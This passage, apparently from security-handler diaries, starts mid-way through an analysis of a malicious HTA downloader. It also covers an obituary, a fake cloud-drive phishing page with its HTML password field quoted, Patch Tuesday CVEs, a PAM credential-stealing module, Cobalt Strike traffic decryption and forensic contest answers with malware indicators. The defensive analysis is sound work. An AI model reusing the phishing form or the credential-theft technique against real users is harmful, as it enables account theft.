This does not look like a script (PowerShell for example). What I've encountered before in malicious Office documents, is BASE64 that is a compressed script or that is shellcode. When I do take a look close at the scripts in the HTA file (I do some kind of pretty print by adding a newline after each semicolon), I don't see code that can do decompression or inject shellcode into memory:

But what I do see, is a string split statement using separator |||, and reverse strings statements. Searching for separator |||, I see this:

So the BASE64 string that I saw, actually consists of 2 BASE64 strings. And they are reversed: look at the string after the separator |||: ==gdh...

A BASE64 can end with = or ==, but it will never start with ==. So I need to reverse these BASE64 strings before decoding them (that's why the decoded BASE64 string we saw before doesn't make sense). We use translate.py to reverse the complete script and then base64dump.py to extract the BASE64 strings:

And now we have 2 base64 strings that decode to something that looks more familiar. Let's take a closer look at item 2:

That looks like a reversed script.

Let's take a look at item 3:

That too looks like a reversed script.

So let's use translate.py once more to reverse the decoded scripts:

So these are 2 scripts: the first one downloads a file and writes it to disk as a jpg file in the public user folder. And the second script runs regsvr32 with that jpg file as argument: that jpg file must be a PE file (dll).

Unfortunately, I was not able to download the file or find it on VirusTotal.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

I am sad to report that Alan Paller, founder of the SANS Institute, passed away. The Internet Storm Center was very much his brainchild, and he supported it over the years, never asking how it impacted SANS's business. He understood the value of collaboration and was more interested in moving us forward as a community. His main questions usually revolved around if the work we were doing mattered to the community.

The first time I met Alan in person was in the summer of 2001. Late in 2000, I started opening DShield.org to the public. I ran it as a hobby and had made some contact with SANS, who at the time was operating "incidents.org." My first connection with Alan was what I later learned was somewhat typical for him. I got a phone call asking if I could attend a meeting at the FBI headquarters that week. I agreed, not knowing who he was or why he wanted me at the FBI headquarters. It sounded like a fun trip (and it was). I was working as a web developer at the time. It turned out we had a meeting with the head of the National Infrastructure Protection Center and a high ranking NSA official, talking about how data we collect with DShield could be helpful to gain better insight into malicious activity. A couple of weeks later, I got another phone call from Alan offering me a job. I always say that my job interview happened at the FBI headquarters, and he hired me because I made it out without handcuffs.

Alan knew Washington, and Washington knew him. He was well respected, and people listened to him because of his open and straightforward agenda: He wanted to improve cybersecurity. In the last couple of years, he focused on finding ways to lead as many talented individuals as possible to a career in cyber security via Cyberstart America and the National Cyber Scholarship Foundation. Alan had the unique talent to communicate with both a technical and a non-technical audience. Part of the vision behind SANS.edu was to educate leaders who could implement cybersecurity.  But at the same time, they need to know how to obtain funding from the non-technical leadership of an organization. To support this goal, Alan was always interested in helping technical people to communicate better. He looked for individuals who could, as SANS instructors, show how to communicate complex subjects effectively. He also often talked about how to present effectively, and one way to get on his wrong side was not to be effective or sloppy when communicating either in writing or a presentation.

With SANS, Alan built a strong organization that I believe will carry on his legacy. We do not talk a lot about breaches prevented. But I hope Alan will be remembered for data that was not stolen and files that didn't get encrypted for ransom. Alan's legacy is that a lot of bad things did not happen, and that a lot of good people entered this field to help. I will miss our pre-RSA keynote chats. I will miss being introduced by Alan. He always made you feel special and gave you that extra bit of confidence to take on any crowd. I will try to stay on my toes, double-check my presentations for typos and carry on educating.

Also see SANS's official press release: https://www.sans.org/press/announcements/alan-paller-cyber-security-industry-titan-and-sans-institute-founder-passes-away/

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

Shadow IT is a real problem in many organizations. Behind this term, we speak about pieces of hardware or software that are installed by users without the approval of the IT department. In many cases, shadow IT is used because internal IT teams are not able to provide tools in time. Think about a user who needs to safely exchange files with partners and no tool is available. A change request will be created to deploy one but, with the lack of (time|money|resources), the project will take time. Unfortunately, the user needs the tool now, so an alternative path will be used like a cloud file sharing service.

I spotted an interesting phishing email that uses this shadow IT stuff. When you visit the page, you get a nice page that mimics an online drive:

The page is nicely designed and looks legit, except that it's delivered through a suspicious domain name. All the links and document snapshots just redirect to a Javascript popup window that will try to collect the victim's credentials.

Note that the form verifies if the provided password is long enough :-)

<input type="password" name="pass" class="form-control" id="" 
 placeholder="Email Password" pattern=".{5,}"
 required title="5 characters minimum" 
 oninvalid="this.setCustomValidity('Enter your correct email password')" 
 oninput="this.setCustomValidity('')"
>

If you use public cloud services to exchange files with your partners, you make them potentially more vulnerable to phishing attacks. Keep this in mind!

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

This month we got patches for 55 vulnerabilities. Of these, 6 are critical, 4 were previously disclosed and 2 are being exploited according to Microsoft.

One of the exploited vulnerabilities is a remote code execution affecting Microsoft Exchange Server (CVE-2021-42321). According to the advisory, the vulnerability occurs due to improper validation of cmdlet arguments and, to exploit the vulnerability, an attacker need to be in an authenticated role in the Exchange Server. The CVSS v3 score for this vulnerability is 8.8 (out of 10).

The other exploited vulnerability is a security feature bypass affecing Microsoft Excel (CVE-2021-42292). According to the advisory, to sucessfully exploit the vulnerability, an attacker requres user interaction. This vulnerabilty affects Microsoft Excel in different product bundles, including Excel for Mac OS. 

The highest CVSS v3 this month (9.0) was associated a remote code execution vulnerability affecting Microsoft Virtual Machine Bus (VMBus) (CVE-2021-26443). According to the advisory, to exploit the vulnerability, an authenticated attacker could send a specially crafted communication on the VMBus channel from the guest VM to the Host. An attacker who successfully exploited the vulnerability could execute arbitrary code on the host operating system.

Last but not least, there is another vulnerability worth mentioning. A critical remote code execution vulnerabilty was fixed on Remote Desktop Client (CVE-2021-38666). According to the advisory, there is no known exploit for this vulnerability but it is more likely to be exploited. In the case of a Remote Desktop connection, an attacker with control of a Remote Desktop Server could trigger a remote code execution (RCE) on the RDP client machine when a victim connects to the attacking server with the vulnerable Remote Desktop Client.

See my dashboard for a more detailed breakout: https://patchtuesdaydashboard.com/

November 2021 Security Updates

Description
CVE	Disclosed	Exploited	Exploitability (old versions)	current version	Severity	CVSS Base (AVG)	CVSS Temporal (AVG)
3D Viewer Remote Code Execution Vulnerability
%%cve:2021-43208%%	Yes	No	Less Likely	Less Likely	Important	7.8	6.8
%%cve:2021-43209%%	Yes	No	Less Likely	Less Likely	Important	7.8	6.8
Active Directory Domain Services Elevation of Privilege Vulnerability
%%cve:2021-42278%%	No	No	Less Likely	Less Likely	Important	7.5	6.5
%%cve:2021-42282%%	No	No	Less Likely	Less Likely	Important	7.5	6.5
%%cve:2021-42287%%	No	No	Less Likely	Less Likely	Important	7.5	6.5
%%cve:2021-42291%%	No	No	Less Likely	Less Likely	Important	7.5	6.5
Azure RTOS Elevation of Privilege Vulnerability
%%cve:2021-42302%%	No	No	Less Likely	Less Likely	Important	6.6	5.8
%%cve:2021-42303%%	No	No	Less Likely	Less Likely	Important	6.6	5.8
%%cve:2021-42304%%	No	No	Less Likely	Less Likely	Important	6.6	5.8
Azure RTOS Information Disclosure Vulnerability
%%cve:2021-42301%%	No	No	Less Likely	Less Likely	Important	3.3	2.9
%%cve:2021-42323%%	No	No	Less Likely	Less Likely	Important	3.3	2.9
%%cve:2021-26444%%	No	No	Less Likely	Less Likely	Important	3.3	2.9
Azure Sphere Information Disclosure Vulnerability
%%cve:2021-41374%%	No	No	Less Likely	Less Likely	Important	6.7	5.8
%%cve:2021-41375%%	No	No	Less Likely	Less Likely	Important	4.4	3.9
%%cve:2021-41376%%	No	No	Less Likely	Less Likely	Important	2.3	2.0
Azure Sphere Tampering Vulnerability
%%cve:2021-42300%%	No	No	Less Likely	Less Likely	Important	6.0	5.2
Chakra Scripting Engine Memory Corruption Vulnerability
%%cve:2021-42279%%	No	No	-	-	Critical	4.2	3.8
Credential Security Support Provider Protocol (CredSSP) Elevation of Privilege Vulnerability
%%cve:2021-41366%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Diagnostics Hub Standard Collector Elevation of Privilege Vulnerability
%%cve:2021-42277%%	No	No	Less Likely	Less Likely	Important	5.5	4.8
FSLogix Information Disclosure Vulnerability
%%cve:2021-41373%%	No	No	Less Likely	Less Likely	Important	5.5	5.0
Microsoft Access Remote Code Execution Vulnerability
%%cve:2021-41368%%	No	No	Less Likely	Less Likely	Important	6.1	5.3
Microsoft COM for Windows Remote Code Execution Vulnerability
%%cve:2021-42275%%	No	No	Less Likely	Less Likely	Important	8.8	7.7
Microsoft Defender Remote Code Execution Vulnerability
%%cve:2021-42298%%	No	No	More Likely	More Likely	Critical	7.8	6.8
Microsoft Dynamics 365 (on-premises) Remote Code Execution Vulnerability
%%cve:2021-42316%%	No	No	Less Likely	Less Likely	Critical	8.7	7.6
Microsoft Edge (Chrome based) Spoofing on IE Mode
%%cve:2021-41351%%	No	No	Less Likely	Less Likely	Important	4.3	3.9
Microsoft Excel Remote Code Execution Vulnerability
%%cve:2021-40442%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Microsoft Excel Security Feature Bypass Vulnerability
%%cve:2021-42292%%	No	Yes	Detected	Detected	Important	7.8	7.0
Microsoft Exchange Server Remote Code Execution Vulnerability
%%cve:2021-42321%%	No	Yes	Detected	Detected	Important	8.8	7.7
Microsoft Exchange Server Spoofing Vulnerability
%%cve:2021-41349%%	No	No	Less Likely	Less Likely	Important	6.5	5.7
%%cve:2021-42305%%	No	No	Less Likely	Less Likely	Important	6.5	5.7
Microsoft Virtual Machine Bus (VMBus) Remote Code Execution Vulnerability
%%cve:2021-26443%%	No	No	Less Likely	Less Likely	Critical	9.0	7.8
Microsoft Windows Media Foundation Remote Code Execution Vulnerability
%%cve:2021-42276%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Microsoft Word Remote Code Execution Vulnerability
%%cve:2021-42296%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
NTFS Elevation of Privilege Vulnerability
%%cve:2021-41367%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
%%cve:2021-41370%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
%%cve:2021-42283%%	No	No	Less Likely	Less Likely	Important	8.8	7.7
OpenSSL: CVE-2021-3711 SM2 Decryption Buffer Overflow
%%cve:2021-3711%%	No	No	Less Likely	Less Likely	Critical
Power BI Report Server Spoofing Vulnerability
%%cve:2021-41372%%	No	No	Less Likely	Less Likely	Important	7.6	6.8
Remote Desktop Client Remote Code Execution Vulnerability
%%cve:2021-38666%%	No	No	More Likely	More Likely	Critical	8.8	7.7
Remote Desktop Protocol Client Information Disclosure Vulnerability
%%cve:2021-38665%%	No	No	Less Likely	Less Likely	Important	7.4	6.4
Visual Studio Code Elevation of Privilege Vulnerability
%%cve:2021-42322%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Visual Studio Elevation of Privilege Vulnerability
%%cve:2021-42319%%	No	No	Less Likely	Less Likely	Important	4.7	4.1
Windows Core Shell SI Host Extension Framework for Composable Shell Elevation of Privilege Vulnerability
%%cve:2021-42286%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Windows Denial of Service Vulnerability
%%cve:2021-41356%%	No	No	More Likely	More Likely	Important	7.5	6.7
Windows Desktop Bridge Elevation of Privilege Vulnerability
%%cve:2021-36957%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Windows Fast FAT File System Driver Elevation of Privilege Vulnerability
%%cve:2021-41377%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Windows Feedback Hub Elevation of Privilege Vulnerability
%%cve:2021-42280%%	No	No	Less Likely	Less Likely	Important	5.5	4.8
Windows Hello Security Feature Bypass Vulnerability
%%cve:2021-42288%%	No	No	Less Likely	Less Likely	Important	5.7	5.1
Windows Hyper-V Denial of Service Vulnerability
%%cve:2021-42284%%	No	No	Less Likely	Less Likely	Important	6.8	6.1
Windows Hyper-V Discrete Device Assignment (DDA) Denial of Service Vulnerability
%%cve:2021-42274%%	No	No	Less Likely	Less Likely	Important	6.8	5.9
Windows Installer Elevation of Privilege Vulnerability
%%cve:2021-41379%%	No	No	Less Likely	Less Likely	Important	5.5	4.8
Windows Kernel Elevation of Privilege Vulnerability
%%cve:2021-42285%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Windows NTFS Remote Code Execution Vulnerability
%%cve:2021-41378%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability
%%cve:2021-38631%%	Yes	No	Less Likely	Less Likely	Important	4.4	3.9
%%cve:2021-41371%%	Yes	No	Less Likely	Less Likely	Important	4.4	3.9

--
Renato Marinho
Morphus Labs| LinkedIn|Twitter

As security practitioners, we give daily advice to our customers to increase the security level of their infrastructures. Install this tool, enable this feature, disable this function, etc. When enabled, these techniques can also be (ab)used by attackers to perform nasty actions.

PAM or Pluggable Authentication Modules[1] is an old authentication system that is around since 1997! It allows you to extend the authentication capabilities of a system to interconnect with third-party systems. PAM is available on all Linux flavors and used, amongst plenty of others, by the SSH daemon. By default, SSH allows you to authenticate via credentials or a key but they are plenty of other ways to authenticate a user. Via a centralized DB (LDAP, RADIUS, Kerberos) against proprietary databases and much more.  It can also be used to raise the security level by implementing MFA (“Multi-Factor Authentication”). In 2009(!), I already wrote a blog post to explain how to use a Yubikey as a second factor via PAM[2].

By reading this, you can imagine that the PAM sub-system, being part of the authentication, has access to a lot of sensitive information! Here is an example of credentials leaking technique that I found in the wild recently and it’s pretty easy to implement. In many organizations, bastion hosts are used to provide access to internal resources to admins, consultants, etc. They are used to “pivot” inside the network. 

If a bastion host is compromised (or a server or an admin end-point), some nasty PAM modules can be installed to automatically collect credentials. One of these modules is called “pam_steal”[3]. This module has only 40 lines of code and, once the attacker installed this plugin, it will collect and dump credentials into a flat-file. This will then be collected by the attacker. No need to sniff, to decrypt data!

When dropped on the victim’s computer, the malicious module is just enabled by adding it to the /etc/pam.d/common-auth file. To protect against this kind of attack, a good idea is to use a FIM[4] (“File Integrity Monitor”) to detect changes performed in sensitive files like in /etc/pam.d.

[1] https://www.redhat.com/sysadmin/pluggable-authentication-modules-pam
[2] https://blog.rootshell.be/2009/03/27/yubikey-authentication-on-linux/
[3] https://github.com/ONsec-Lab/scripts/tree/master/pam_steal
[4] https://isc.sans.edu/forums/diary/What+to+watch+with+your+FIM/20897

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

I made a video showing the steps to take to decrypt Cobalt Strike traffic that I covered in my diary entry "Decrypting Cobalt Strike Traffic With Keys Extracted From Process Memory".

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

In diary entry "Decrypting Cobalt Strike Traffic With a "Leaked" Private Key" I showed how to decrypt Cobalt Strike network traffic with private RSA keys.

In this diary entry, I will show how to decrypt Cobalt Strike network traffic with AES keys extracted from the beacon's process memory.

Inside a sandbox, I start the beacon and let it communicate with the C2 while I capture network traffic. And I make a process memory dump of the beacon process.

Analyzing the beacon with my tool 1768.py shows that it communicates over HTTP and that it uses a public RSA key for which no private keys have been leaked. Starting with version 0.0.9 of my tool 1768.py, I also parse the malleable instructions that are used to transform data transmitted and received by the beacon. In this case, the input and output instructions are just a print instruction. This means that the incoming, encrypted data requires no further transformations, and neither does the outgoing, encrypted data:

First I need to extract encryption keys from the process memory dump I made from a running beacon (using procdump). I do this with my tools cs-extract-key.py:

No keys are found: this means that the beacon is most like a version 4.x beacon, and that encrypted data is necessary to help identify encryption keys.

I can extract encrypted data from my capture file using my tool cs-parse-http-traffic.py. Using option -k with value unknown, means that I don't know the decryption keys and that the tool should extract the encrypted data from the capture file, like this:

Two packets with encrypted data were found: one is the reply to a GET request (packet 222) and the other is the data of a POST request (packet 229). The received data (packet 222) contains encrypted instructions (tasks), and the transmitted data (packet 229) contains the encrypted output (callbacks) of the tasks. Although incoming and outgoing data is encrypted using the same AES key and method, there is a slight difference: outgoing data is preceded by a 32-bit integer that specifies the lenght of the encrypted data. That's why you see some 00 bytes at the beginning of the posted, encrypted  data.

What my tool cs-extract-key.py can do, is take encrypted data and a process memory dump, and then try out all 16-byte long, non-null sequences it finds in memory, as a key. There are 2 keys in memory: one AES key, and one HMAC key.

Here I provide the encrypted data for tasks as option. I use option -t (task) to do this:

My tool finds an HMAC key that validates the signature of the encrypted data: 5aa2e0ea3a612d37c066cc163de40eb4.

And it also finds an AES key that decrypts the data: 83c5ea41fe1913bc0a7f95aa32f3bb69.

Both these keys are derived from the SHA256 of the raw key. The HMAC key is the first half of the SHA256 value, and the AES key is the second half of the SHA256 value (HMAC:AES): 5aa2e0ea3a612d37c066cc163de40eb4:83c5ea41fe1913bc0a7f95aa32f3bb69.

And then I can use this key and my tool cs-parse-http-traffic.py to decrypt the captured traffic:

And now we can see that the command sent by the operator was a whoami command, and that the reply by the beacon was the username (output of whoami command).

I obtained the key via the encrypted task data. Remark that I can also try to recover the keys via the encrypted callback data. Since there is a slight difference in data format, another option of cs-parse-http-traffic.py must be used, namely option -c (callback), like this:

As expected, the same HMAC and AES keys were found and extracted.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

Recently I've been doing a lot of imaging and mounting different image format types. Xmount(1) has been very handy and not something I've used a lot in the past.  Xmount can do DD, EWF (Expert Witness Compression Format), or AFF. While mount disks haven't changed a lot, having a combined utility that can do the significant files types makes it more accessible.

Xmount can output in several different file types: "raw", "dmg", "vdi", "vhd", "vmdk", "vmdks".  Many Linux-based tools need to have a raw or dd style image to read; xmount can easily do this.  Mounting an OSX DD image as a DMG is an easy way to open up Filevault volumes. Just double-click the DMG file, input the password, and it's mounted.

Depending on what you need to do with the image, booting it might be the fastest way to complete this.  Make sure that you are using a write-blocker or backup copy to prevent changes to the system.

#apt-get install xmount
#xmount --in ewf <FILE> --out vmdk --cache /tmp/disk.cache <Mount Point Folder>
#xmount --in ewf ./file.E01 --out vmdk --cache /tmp/disk.cache /tmp/ewf/

Now you should have a VMDK file in /tmp/ewf.  You can now add this file as a disk to an existing Vmware Machine or create a new virtual machine and boot off it.

Any other new forensics tools you have run across recently that makes life easier for forensicators? Leave a comment.

1 https://www.pinguin.lu/xmount

--

Tom Webb

@twsecblog

Introduction

Thanks to everyone who participated in our October 2021 forensic challenge originally posted on Friday, 2021-10-22.  We received 27 submissions through our contact page, and everyone answered correctly.  Unfortunately, we could only pick one winner.  In this case, our winner was chosen through a random process among the 27 people.  Join us in congratulating this month's winner, Ameer Mane!  We will contact Ameer, so we can send him a Raspberry Pi 4 kit.

You can still find the material for our October 2021 forensic contest here.

Shown above:  The October 2021 forensic contest pcap opened in Wireshark.

Answers

The task was to match each email to the infected Windows host and user.  The answers are:

• 2021-10-21-malicious-email-1102-UTC.eml - DESKTOP-NZ875R4 - marcus.cobb
• 2021-10-21-malicious-email-1739-UTC.eml - DESKTOP-CFA3367 - agnes.warren
• 2021-10-21-malicious-email-2214-UTC.eml - DESKTOP-87WCE26 - kevin.henderson

The environment

As stated in our diary for the October challenge, the three infected Windows hosts are part of an Active Directory (AD) environment, and its characteristics are:

• LAN segment range: 10.10.22.0/24 (10.10.22.0 through 10.10.22.255)
• Domain: enemywatch.net
• Domain Controller: 10.10.22.22 - ENEMYWATCH-DC
• LAN segment gateway: 10.10.22.1
• LAN segment broadcast address: 10.10.22.255

First infection

The first infection started at 14:34:56 UTC, and it happened to the Windows client at 10.10.22.157.  This host generated DNS queries for kamuchehddhgfgf.ddns.net that resolved to 37.0.10.22.  These DNS queries were followed by TCP traffic to 37.0.10.22 over TCP port 1187.

You can find the malicious traffic by using the following Wireshark filter: dns.qry.name contains ddns.net or (ip.addr eq 37.0.10.22 and tcp.flags eq 0x0002)

Shown above:  DNS and TCP traffic from the first infection.

Filtering on Kerberos traffic for 10.10.22.157 reveals hostname DESKTOP-NZ875R4 with Windows user account marcus.cobb.

Shown above:  Kerberos traffic revealing the host name and user account for 10.10.22.157.

The email addressed to marcus.cobb@enemywatch.net is 2021-10-21-malicious-email-1102-UTC.eml, which contains a malicious attachment named Order.7z.

Shown above:  Malicious email sent to marcus.cobb.

Sandbox analysis of Order.7z indicates it is NanoCore RAT.  See the links below for details.

• https://app.any.run/tasks/ba97bdd1-a126-4523-b341-268950a541d6/
• https://tria.ge/211103-1q6ljacear

Second infection

The second infection started at 14:36:35 UTC, and it happened to 10.10.22.158.  This host generated traffic to sobolpand.top, which is associated with the "Stolen Images campaign" described in this diary from 2021-10-21.  It's more accurately referred to as a "Contact Forms campaign" which normally pushes BazarLoader malware.

In this case, the Windows host retrieved a DLL from sobolpand.top, and we can extract that DLL from the pcap.

Shown above:  TCP stream of traffic betwen the infected Windows host and sobolpand.top.

Shown above:  Scroll down a little bit in the TCP stream, and you'll see a DLL file returned by the server.

Shown above:  Extracting the DLL file from the pcap.

The extracted DLL is identified as BazarLoader by this sandbox analysis.

Filtering on Kerberos traffic for 10.10.22.158 reveals hostname DESKTOP-87WCE26 with Windows user account kevin.henderson.

Shown above: Kerberos traffic revealing host name and user account for 10.10.22.158.

The email addressed to kevin.henderson@enemywatch.net is 2021-10-21-malicious-email-2214-UTC.eml, which contains a malicious link to a page hosted at firebase.googleapis.com that is no longer active.  When it was active, that URL distributed a malicious zip archive named Critical Errors Report.zip.

Shown above:  Malicious email sent to kevin.henderson.

Note: Unfortunately, when I generated traffic for this exercise, HTTPS activity caused by the host's request to firebase.googleapis.com was not iincluded in the pcap.

Third infection

The third infection started at 14:37:01 UTC, and it happened to 10.10.22.156.  This host generated HTTP traffic to three URLs ending with /44491/6090605324.dat.  These three URLs returned three DLL files for Qakbot.  The DLL files can be extracted from the pcap, and they all have the same SHA256 hash:

• 95928b331e9942e4709b41ec8b59eb6f9e068f53ef2eeb15009feafd4ff5138d

This is a DLL for Qakbot malware as identified by VirusTotal's sandbox and Tria.ge's analysis of the binary.  The distribution tag for this Qakbot sample is biden54.

Shown above:  Filtering on web traffic for 10.10.22.156 (and scrolling down a bit).

Indicators of Qakbot post-infection traffic from this infection include:

• TCP traffic to 23.111.114.52 over port 65400
• HTTPS traffic to www.openssl.org (not inherently malicious)
• Several HTTPS requests to api.ipifiy.org (also not inherently malicious)
• Encrypted SMTP traffic to several different email servers

Shown above:  Encrypted SMTP traffic to various email servers from 10.10.22.156.

Filtering on Kerberos traffic for 10.10.22.156 reveals hostname DESKTOP-CFA3367 with Windows user account agnes.warren.

Shown above: Shown above:  Kerberos traffic revealing the host name and user account name for 10.10.22.156.

The email addressed to agnes.warren@enemywatch.net is 2021-10-21-malicious-email-1739-UTC.eml, which contains a malicious attachment named Document-1975072354.zip.

Shown above:  Malicious email sent to agnes.warren.

The malicious zip archive contains an Excel spreadsheet with macro code that generated those three URLs ending in /44491/6090605324.dat.

Final words

Our October 2021 forensic contest was relatively easy to answer, but additioinal information about the infections can be found in the pcap.

Congratulations again to Ameer Mane for winning this month's competition!

You can still find the pcap and emails here.

---

Brad Duncan
brad [at] malware-traffic-analysis.net

I had previously written about the impacts and implications of BrakTooth in a previous diary [1]. As a brief recap, BrakTooth is a family of Bluetooth Classic vulnerabilities that were mainly caused by non-compliance to Bluetooth Core Specifications and their respective communication protocol layers. It has been about 2 months since BrakTooth was announced, so let us take a look at how things have progressed so far.

Affected vendors highlighted in the previous diary [1]  have made some progress. With reference to Table 1 below, the summary of vulnerabilities, anomalies, devices and patch status are outlined (text in red are the changes since the previous diary entry).

Table 1: Patch Status, Vulnerabilities and SDK/Firmware Version of Affected Devices (*Contact vendor to acquire patch)

SoC/Module Vendor	Bluetooth SoC	Firmware/SDK Version	CVE/Anomaly (A)	Patch Status
Espressif Systems	ESP32	esp-idf-4.4	CVE-2021-28135 CVE-2021-28136 CVE-2021-28139 A1: Accepts lower Link Manager Protocol (LMP) length	Available [2], [3]
Infineon (Cypress)	CYW20735B1	WICED SDK 2.9.0	CVE-2021-34145 CVE-2021-34146 CVE-2021-34147 CVE-2021-34148 A2: Accepts higher LMP length A6: Ignore encryption stop	Available*
Bluetrum Technology	AB5301A	Unspecified (LMP Subver. 3)	CVE-2021-34150 CVE-2021-31610 A1: Accepts lower LMP length A2: Accepts higher LMP length	Available*
Intel	AX200	Linux - ibt-12-16.ddc Windows - 22.40.0	2 CVE IDs pending A1: Accepts lower LMP length A2: Accepts higher LMP length A5: Invalid Response	To be announced (TBA)
Qualcomm	WCN3990	crbtfw21.tlv, patch 0x0002	CVE-2021-30348 A1: Accepts lower LMP length A2: Accepts higher LMP length A4: Ignore Role Switch Reject	TBA
Zhuhai Jieli Technology	AC6366C	fw-AC63_BT_SDK 0.9.0	CVE-2021-34143 CVE-2021-34144 A1: Accepts lower LMP length A2: Accepts higher LMP length	Available [4]
Zhuhai Jieli Technology	AC6925C	Unspecified (LMP Subver. 12576)	CVE-2021-31611 CVE-2021-31613 A1: Accepts lower LMP length A2: Accepts higher LMP length	Investigation in progress
Zhuhai Jieli Technology	AC6905X	Unspecified (LMP Subver. 12576)	CVE-2021-31611 CVE-2021-31612 CVE-2021-31613 A1: Accepts lower LMP length A2: Accepts higher LMP length	Investigation in progress
Actions Technology	ATS281X	Unspecified (LMP Subver. 5200)	CVE-2021-31717 CVE-2021-31785 CVE-2021-31786 A1: Accepts lower LMP length A2: Accepts higher LMP length	Investigation in progress
Harman International	JX25X	Unspecified (LMP Subver. 5063)	CVE-2021-28155 A1: Accepts lower LMP length A2: Accepts higher LMP length	Patch in progress
Silabs	WT32i	iWRAP 6.3.0 build 1149	CVE-2021-31609 A1: Accepts lower LMP length A2: Accepts higher LMP length	Investigation in progress
Qualcomm	CSR8811/ CSR8510	v9.1.12.14	CVE-2021-35093 A1: Accepts lower LMP length A2: Accepts higher LMP length	No fix
Texas Instruments	CC2564C	cc256xc_bt_sp_v1.4	CVE-2021-34149 A1: Accepts lower LMP length A2: Accepts higher LMP length	No fix

The various patch statuses are explained as follows:

Available: The vendor has replicated the vulnerability and a patch is available.
To be announced (TBA): The vendor has produced a patch for internal testing and validation, but has yet to release such patch to the general public.
Patch in progress: The vendor has successfully replicated the vulnerability and a patch will be available soon.
Investigation in progress: The vendor is currently investigating the security issue and is being assisted by the researchers.
Pending: The vendor hardly communicated with the researchers and the status of their investigation is unclear at best. No patch is in pending state as of November 1st, 2021.
No fix: The vendor has successfully replicated the issue, but there is no plan to release a patch.

A new category – To be announced – was introduced as part of the classification of patch status.  With reference to Table 1, Intel and Qualcomm had produced a patch for internal testing and validation, but had not released it to users. For AC6366C manufactured by Zhuhai Jieli Technology, a fix was made available. Meanwhile, a patch for JX25X from Harman International is being worked on. Finally, WT32i from Silabs is investigating the issue. In addition, three vendors (Samsung, Mediatek and Airoha) have independently tested their products and assessed that some of their products are affected by BrakTooth. However, the exact Bluetooth System-on-Chips (SoC) or firmware versions affected were not provided to the researchers.

Why is an update and retrospection of BrakTooth necessary? Previously, the Automated Systems SEcuriTy (ASSET) Research Group from Singapore University of Technology and Design (SUTD) had embargoed their Proof-of-Concept (PoC) code till October 31st, 2021. The PoC code has now been made available publicly, and thus could affect unpatched Bluetooth Classic devices. For end users and organizations, it is strongly recommended to update affected devices if a patch is available. For devices that have patches to be announced or in progress, it is highly recommended that users keep a close watch on the availability of the patches and apply them once they are available.

Users should also be cognizant of the possibility that other Bluetooth Classic products (other than the ones outlined in Table 1) could be affected by BrakTooth as the Bluetooth Classic stack is likely to be shared amongst many products. Prior recommendations suggested in my previous diary to identify, address and mitigate the risks of BrakTooth are still applicable [1].

References:
[1] https://isc.sans.edu/diary/27802
[2] https://www.espressif.com/sites/default/files/advisory_downloads/AR2021-004%20Bluetooth%20Security%20Advisory.pdf
[3] https://github.com/espressif/esp-idf/tree/bf71f494a165aba5e5365e17e1e258598d9fc172
[4] https://github.com/Jieli-Tech/fw-AC63_BT_SDK/commit/d1fdd03c167f416aaa5791b1325527791e0ab705

-----------
Yee Ching Tok, ISC Handler
Personal Site
Twitter